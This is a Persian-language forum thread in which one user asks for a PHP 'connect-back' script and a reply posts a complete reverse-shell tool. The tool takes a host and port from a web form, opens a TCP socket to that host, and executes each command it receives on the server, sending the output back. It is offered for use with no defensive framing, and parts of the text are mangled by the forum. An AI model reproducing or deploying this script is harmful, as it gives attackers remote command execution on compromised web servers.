اطلاعیه

Collapse
No announcement yet.

اسكريپت كانكت بك

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • اسكريپت كانكت بك

    درورد
    از دوستان کسی ممکن اسکریپتphp فقط برای کانکن بک بزار ه ....مرسی

  • #2
    نوشته اصلی توسط Amoozesh نمایش پست ها
    درورد
    از دوستان کسی ممکن اسکریپتphp فقط برای کانکن بک بزار ه ....مرسی
    کد PHP:
    <?php
    /*
    * ????
    * Copyright (c) 2006, By Maple-X http://www.Wolvez.org
    * All rights reserved
    * Author:Maple-X ( [email protected] )
    * Date:2006-07-16
    * $Id: connect-back.php,v 1.0 2006/07/16 14:27:01 Maple-X Exp $
    */
    if(isset($_POST['host']) && isset($_POST['port']))
    {
       
    $host $_POST['host'];
       
    $port $_POST['port'];
    }else{
    print<<<eof
    <html>
    <head>
    <title>PHP Connect Back</title>
    <p>Code By Maple-x <br>
    <a href="http://www.wolvez.org">http://www.Wolvez.org<a>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    </title>
    <style>
    body{
       margin:0;
       padding:0;
       background:#000000;
       text-align:center;
       color:green;
       FONT-FAMILY: verdana;
       FONT-SIZE: 14px;
    }
    input{
       margin:0px;
       padding:0px;
       color:green;
       border: 1px;
       border-bottom-color:#ffffff;
    }
    A:link {
           color:green;
        TEXT-DECORATION: none
    }
    A:visited {
          COLOR: #00ff00;
        TEXT-DECORATION: none
    }
    A:active {
        TEXT-DECORATION: none
    }
    A:hover {
        COLOR: #00ff00; TEXT-DECORATION: none
    }
    </head>
    </style>
    <body>
    <form method=post action="">
    Host:<input type=text name=host><br />
    Port: <input type=text name=port><br />
        <input type=radio name=info check=checked value=linux>Linux
        <input type=radio name=info value=win>Win<br />
        <input type=submit name=submit value="????">
    </form>
    </body>
    </html>
    eof;
    print(
    "-------------------------------------------------------------")."<br />";
    print(
    "??:win?????PHP??socket")."<br />";
    print(
    "        Linux?????????????????,????phpinfo()")."<br />";
    print(
    "        ????:win???????log.txt,Linux?/tmp/log.txt")."<br />";
    die(
    "????");
    }
    if(
    $_POST['info']=="win")
    {
       
    $env=array('path' => 'c:\\windows\\system32');
       
    $de******orspec = array(
           
    => array("pipe","r"),
           
    => array("pipe","w"),
           
    => array("file","log.txt","a"),
    );
    }else{
       
    $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
       
    $de******orspec = array(
           
    => array("pipe","r"),
           
    => array("pipe","w"),
           
    => array("file","/tmp/log.txt","a"),
           );
    }
    $host=gethostbyname($host);
    $proto=getprotobyname("tcp");
    if((
    $sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0)
    {
       die(
    "Socket Create Faile");
    }
    if((
    $ret=socket_connect($sock,$host,$port))<0)
    {
       die(
    "Connect Faile");
    }else{
    $message="----------------------PHP Connect-Back--------------------\n";
    $message.="-----------------------Code By Maple-x--------------------\n";
    socket_write($sock,$message,strlen($message));
    $cwd=str_replace('\\','/',dirname(__FILE__));
    while(
    $cmd=socket_read($sock,65535,$proto))
       {
       if(
    trim(strtolower($cmd))=="exit")
       {
       
    socket_write($sock,"Bye Bye\n");
       exit;
       }else{

    $process proc_open($cmd$de******orspec$pipes$cwd$env);
    if (
    is_resource($process)) {
      
    fwrite($pipes[0], $cmd);
      
    fclose($pipes[0]);

       
    $msg=stream_get_contents($pipes[1]);
      
    socket_write($sock,$msg,strlen($msg));
      
    fclose($pipes[1]);
      
    $return_value proc_close($process);
    }
       }
    }
    }
    ?>

    Comment

    Working...
    X